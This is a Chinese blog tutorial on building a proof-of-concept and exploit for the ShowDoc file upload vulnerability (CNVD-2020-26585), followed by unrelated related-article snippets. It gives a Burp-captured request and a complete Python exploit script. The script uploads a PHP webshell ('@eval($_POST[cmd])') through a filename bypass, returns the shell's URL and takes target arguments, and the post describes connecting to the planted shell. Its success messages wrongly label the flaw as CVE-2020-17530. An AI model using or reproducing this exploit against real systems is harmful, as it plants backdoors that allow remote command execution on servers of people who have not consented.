POCEXP编写—文件上传案例
POC&EXP编写—文件上传案例
- 1. 前言
- 2. 文件上传案例
- 2.1. Burp抓包
- 2.2. 基础代码实践
- 2.2.1. 优化代码
- 2.3. 整体代码
- 2.3.1. 木马测试
1. 前言
之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的,相对来说都不是太复杂,而这篇会涉及到文件上传的案例,很多类似于代码执行这些,在编写的时候主要需要注意的就是执行完后,返回来的结果如何展现出来。
还有误报的情况,关于出现误报,多数都是在返回的内容上判断没有做到唯一性,例如:phpinfo,可能不单单有漏洞在返回中有这个单词,还有可能正常情况下返回值也有这个单词,那不就出现误报了么?
2. 文件上传案例
这里我们拿的是showdoc 文件上传 (cnvd-2020-26585)漏洞来做测试,至于漏洞的复现自行去了解,这里不做复现过程。
参考:showdoc 文件上传 (CNVD-2020-26585)复现 - 代码天地 (codetd.com)
2.1. Burp抓包
这里我们看一下Burp抓包显示的内容,这里如何将内容导出来,之前也说过了这里也不再赘述。
Burp中POC:
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: vulfocus.fofa.so:57700
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--

2.2. 基础代码实践
这里的代码基础实现,相当于木马已经上传上去了,但是我们需要的是返回木马地址,不然为什么要去做文件上传的EXP呢?同时关于代码我也不做解释,类似headers、data,甚至post请求都是Burp帮你生成的,剩下的代码也不复杂。
import requestsburp0_url = "http://123.58.224.8:25235/index.php?s=/home/page/uploadImg"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}
burp0_data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
if "http:" in r.text and "Public" in r.text:print(f"[+]存在CVE-2020-17530远程命令执行漏洞")
else:print(f"[-]不存在CVE-2020-17530远程命令执行漏洞")

这里也能看出来,返回了一条带有URL地址的返回内容,但是这个地址我们还需要手动修改比较麻烦,那么有没有什么办法解决了?
2.2.1. 优化代码
这里就是加入了json()解析,将内容解析成好理解的方式,但是根据不通的返回内容,可能需要做其他的一些操作,才能够实现,而这里相对来说简单一点。
import requestsburp0_url = "http://123.58.224.8:25235/index.php?s=/home/page/uploadImg"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}
burp0_data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
if "http:" in r.text and "Public" in r.text:json = r.json() ## 解析JSON响应file_url = json['url'] ## 提取并格式化URLprint(file_url) ##可删除,测试使用formatted_url = file_url.replace("\\/", "/") ## 如果需要,将反斜杠替换为斜杠print(f"[+]存在CVE-2020-17530远程命令执行漏洞,上传的文件url为:{formatted_url}")
else:print(f"[-]不存在CVE-2020-17530远程命令执行漏洞")

2.3. 整体代码
这里的整体代码就是添加上相关的一些选项,以及一些输入输出,而这个并非是最好的代码,例如没对用户输入的内容进行二次格式化或者控制输入的内容,或者说添加一些代理池、线程池等等~~
这些就靠自己添加吧。
import argparse
import requests
import sysdef exp(url, port):payload = "/index.php?s=/home/page/uploadImg"url1 = f"{url}:{port}{payload}"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")try:r = requests.post(url1, headers=headers, data=data, verify=False, timeout=5, allow_redirects=False)if "http:" in r.text and "Public" in r.text:json = r.json()file_url = json['url']formatted_url = file_url.replace("\\/", "/")print(f"[+]{url}存在showdoc文件上传 CNVD-2020-26585 漏洞")print(f"木马访问地址:{formatted_url}")else:print(f"[-]{url}不存在showdoc文件上传 CNVD-2020-26585 漏洞")except Exception as e:print(f"[-]{url}存在异常,请检查!")sys.exit(1)def main():banner = """## ### # # ## ### ### ### ### ### ### ### ### ###
# # # # # # # # # # # # # # # # # # #
# # # # # # # ### ### # # ### # # ### ### ### ### ### ###
# # # # # # # # # # # # # # # # # # # # ## # # # ## ### ### ### ### ### ### ### ### ###"""print(banner)print("Vulnerability version: 2.8.3 以下版本")parser = argparse.ArgumentParser()parser.add_argument("-u", dest="url", required=True, type=str, default=None, help="Vulnerability IP")parser.add_argument("-p", dest="port", required=False, type=int, default=80,help="The default vulnerability port is 80")args = parser.parse_args()exp(args.url, args.port)if __name__ == '__main__':main()

2.3.1. 木马测试
链接参数:

输入相关的链接参数后,就可以使用添加链接了,可以看到是成功链接上来了。

相关文章:
POCEXP编写—文件上传案例
POC&EXP编写—文件上传案例 1. 前言2. 文件上传案例2.1. Burp抓包2.2. 基础代码实践2.2.1. 优化代码 2.3. 整体代码2.3.1. 木马测试 1. 前言 之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的,相对来说都不是太复杂,而这篇会…...
C#知识|上位机UI设计-详情窗体设计思路及流程(实例)
哈喽,你好啊,我是雷工! 上两节练习记录了登录窗体和主窗体的实现过程,本节继续练习内容窗体的实现,以下为练习笔记。 01 详情窗体效果展示: 02 添加窗体并设置属性 在之前练习项目的基础上添加一个Windows窗体,设置名称为:FrmIPManage.cs 设置窗体的边框和标题栏的外…...
目标检测——印度车辆数据集
引言 亲爱的读者们,您是否在寻找某个特定的数据集,用于研究或项目实践?欢迎您在评论区留言,或者通过公众号私信告诉我,您想要的数据集的类型主题。小编会竭尽全力为您寻找,并在找到后第一时间与您分享。 …...
Zotero Word中插入带超链接的参考文献
Zotero 超链接 找了好多原代码,最接近能实施的为: https://blog.csdn.net/weixin_47244593/article/details/129072589 但是,就是向他说的一样会报错,我修改了代码,遇见报错的地方会直接跳过不执行,事后找…...
如何在服务器上下载,解压github上的代码
在github上找到对应仓库,找到平时download zip的地方,右键它,复制链接。在远程的终端里使用wget 链接 命令就可以得到zip了。 解压方法: -c :新建打包文件 -t :查看打包文件的内容含有哪些文件名 -x &…...
BGP学习二:BGP通告原则,BGP反射器,BGP路径属性细致讲解,新手小白无负担
目录 一.AS号 二.BGP路由生成 1.network 2.import-route引入 三.BGP通告原则 1.只发布最优且有效的路由 2.从EBGP获取的路由,会发布给所有对等体 3.水平分割原则 4.IBGP学习BGP默认不发送给EBGP,但如果也从IGP学习到了这条路由,就发…...
Docker学习(带图详细)
一、安装docker 参考官方文档:https://docs.docker.com/engine/install/centos/ 查看系统版本 [rootlocalhost ~]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [rootlocalhost ~]# [rootlocalhost ~]# uname -a Linux localhost.localdomai…...
RabbitMQ 如何使用延迟队列
RabbitMQ 如何使用延迟队列 目录 前置条件场景描述RabbitMQ 延迟队列机制实现步骤 1. 安装 RabbitMQ 延迟队列插件2. 创建延迟队列和交换机3. 发布延迟消息4. 消费延迟消息 示例代码 1. 延迟队列配置2. 发布消息的 Producer 代码3. 消费消息的 Consumer 代码 注意事项 前置条…...
【C++】栈和队列
目录 前言 一、stack 1. 栈的定义 2. 成员函数 二、queue 1. 队列的定义 2. 成员函数 三、priority_queue 1. 优先队列的定义 2. 成员函数 前言 栈和队列是STL中很重要的两个容器,栈的特点是先进后出;队列的特点是先进先出。还有优先队列&…...
常用的预编码算法学习
一、概况 预编码算法的常用实现方式有以下几种: 1. 间隔预编码(Interval Pre-coding):该算法将原始数据分成若干个间隔,然后对每个间隔内的数据进行编码。间隔的长度可以根据具体情况进行选择,常见的间隔长度有固定长度和可变长度两种方式。 2. 迭代预编码(Iterative…...
人才培养计划大纲
构建全面而高效的人才培养规划 文章大纲: 引言 人才培养的重要性当前人才培养面临的挑战文章目的与结构人才培养规划的基本概念 定义与内涵人才培养规划与企业战略的关系人才培养规划的基本原则人才培养规划的现状分析 当前人才培养规划的实践情况存在的问题与不足…...
多语言环境下的正则表达式实战:校验整数、小数
在软件开发中,正则表达式是验证用户输入数据格式的强大工具,特别是在处理表单验证时。本文将通过JavaScript、Java、Python、C、Rust、Go、C六种编程语言展示如何使用正则表达式来校验输入是否为整数或小数,特别强调小数点后最多保留两位的场…...
过拟合和欠拟合的学习
1.什么拟合 就是说这个曲线能不能很好地描述某些样本数据,并且拥有较好的泛化能力。 2.什么是过拟合 过拟合就是曲线太过于贴切训练数据的特征了,在训练集上表现得非常优秀,近乎完美的预测/区分了所有得数据,但是在新的测试集上…...
中间件的使用
中间件是全局使用 工厂函数定义中间件 middleware.py # 工厂函数的中间件 def simple_middleware(get_response):def middleware(request):print("在视图函数处理之前执行、、、、、")response get_response(request)print("在视图函数处理之后执行。。。。…...
阿里云OSS权限开通步骤及最佳实践
在阿里云云计算平台中,对象存储服务(OSS)是一种高度可扩展的云存储服务,提供了安全、可靠、低成本的数据存储解决方案。在使用OSS时,正确配置权限是至关重要的,以确保数据的安全性和访问控制。本文将介绍阿…...
【Python贪吃蛇】:编码技巧与游戏设计的完美结合
文章目录 🔥一、运行效果💥二、游戏教程✈1. 导入模块❤️2. 初始化游戏元素☔3. 改变蛇移动的方向👊4. 绘制方块🚀5. 检查蛇头是否在游戏区域内🌈6. 定义蛇的移动函数🎬7. 绑定键盘事件 ⭐三、完整代码 &a…...
2024.5.19 机器学习周报
引言 Abstract 文献阅读 1、题目 X-HRNET: TOWARDS LIGHTWEIGHT HUMAN POSE ESTIMATION WITH SPATIALLY UNIDIMENSIONAL SELF-ATTENTION 2、引言 高分辨率表示是人体姿态估计实现高性能所必需的,随之而来的问题是高计算复杂度。特别地,主要的姿态估…...
母亲节祝福html源码示例
创建一个完整的HTML页面,我可以为您提供一个简单的HTML模板,其中包含一些示例性的祝福语,并添加一些注释以帮助您理解如何扩展内容。 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8&qu…...
微信小程序开发中的权限管理与用户身份验证:守护数据安全与用户体验
微信小程序开发中的权限管理与用户身份验证:守护数据安全与用户体验 引言 在微信小程序开发中,权限管理和用户身份验证是确保数据安全、保护用户隐私以及提供个性化服务的关键环节。本文将深入探讨微信小程序中如何实现权限管理和用户身份验证…...
Python3 笔记:二进制的转换
十进制是逢十进一,二进制就是逢二进一。 十进制里最大的数字是9,二进制里最大的数字是1。 11010010001000010000010000001000000010^0110^11010^210010^3100010^41000010^510000010^6100000010^7100000002^012^122^242^382^4162^5322^6642^7128 1、十进…...
企业级应用如何通过Taotoken实现API调用的审计与安全管控
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 企业级应用如何通过Taotoken实现API调用的审计与安全管控 将大模型能力集成到企业内部系统,为业务流程带来智能化的同时…...
写论文缺参考文献?教你一招最快的反向查文献
写文献综述、毕业论文、科研报告时,你是不是也常遇到这些难题:观点明明写得很清楚,却找不到权威文献支撑;文献综述凑不够篇幅,论据来源不充分;逐篇翻数据库筛选文献太耗时,引文格式排版还总出错…...
[实践|鸿蒙] 从HAP到APP:DevEco Studio编译构建全流程实战解析
1. 鸿蒙应用构建基础:理解HAP与APP的关系 第一次接触鸿蒙应用开发时,我被HAP和APP这两个概念搞得有点懵。经过几个项目的实战,终于搞明白了它们的关系。简单来说,HAP(Harmony Ability Package)就像乐高积木…...
开源Claude本地部署指南:从模型选型到性能调优实战
1. 项目概述:当开源精神遇上AI推理最近在折腾本地部署大语言模型的朋友,估计都绕不开一个名字:Claude。作为Anthropic家的明星产品,Claude系列模型以其出色的推理能力、对指令的精准理解和强大的安全性,在开发者圈子里…...
开源硬件性能遥测工具openclaw_telemetry:从数据采集到可视化实战
1. 项目概述:从开源遥测数据中洞察硬件性能在硬件开发和性能调优的领域,数据是驱动决策的基石。我们常常需要实时监控CPU、GPU、内存、温度、功耗等一系列关键指标,以评估系统稳定性、定位性能瓶颈或验证优化效果。然而,构建一套稳…...
长期使用Taotoken服务在延迟与可用性方面的主观回顾
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 长期使用Taotoken服务在延迟与可用性方面的主观回顾 1. 引言 在近一年的项目开发与维护周期中,我们团队持续将Taotoke…...
中国500万医生的新AI:顶刊独家联手,卷的就是证据源
金磊 发自 杭州量子位 | 公众号 QbitAI很反差。明明是一场AI的发布会,台下却坐满了医学界的大佬们:有北大、清华的,有浙江、上海的,甚至医学顶刊BMJ集团的主编都来围观了……△图片由AI生成为啥会这样?因为阿里健康正式…...
ViGEmBus:终极Windows游戏控制器模拟解决方案,彻底改变游戏输入体验
ViGEmBus:终极Windows游戏控制器模拟解决方案,彻底改变游戏输入体验 【免费下载链接】ViGEmBus Windows kernel-mode driver emulating well-known USB game controllers. 项目地址: https://gitcode.com/gh_mirrors/vi/ViGEmBus 在游戏开发和输入…...
【NotebookLM图书馆学研究实战指南】:20年图情专家亲授AI时代知识管理新范式
更多请点击: https://codechina.net 第一章:NotebookLM图书馆学研究的范式革命 传统图书馆学研究长期依赖人工文献综述、卡片目录索引与线性知识组织方式,而NotebookLM的引入正从根本上重构知识发现、关联与推理的底层逻辑。作为Google推出的…...
H5移动端拍照功能实战:从权限获取到图片上传的完整链路解析
1. 移动端H5拍照功能的核心实现逻辑 在移动端H5页面中实现拍照功能,本质上是通过浏览器API与设备硬件交互的过程。这个功能在在线身份验证、表单提交等场景中非常实用。我做过十几个类似的项目,发现最关键的环节集中在四个步骤:权限获取、视频…...
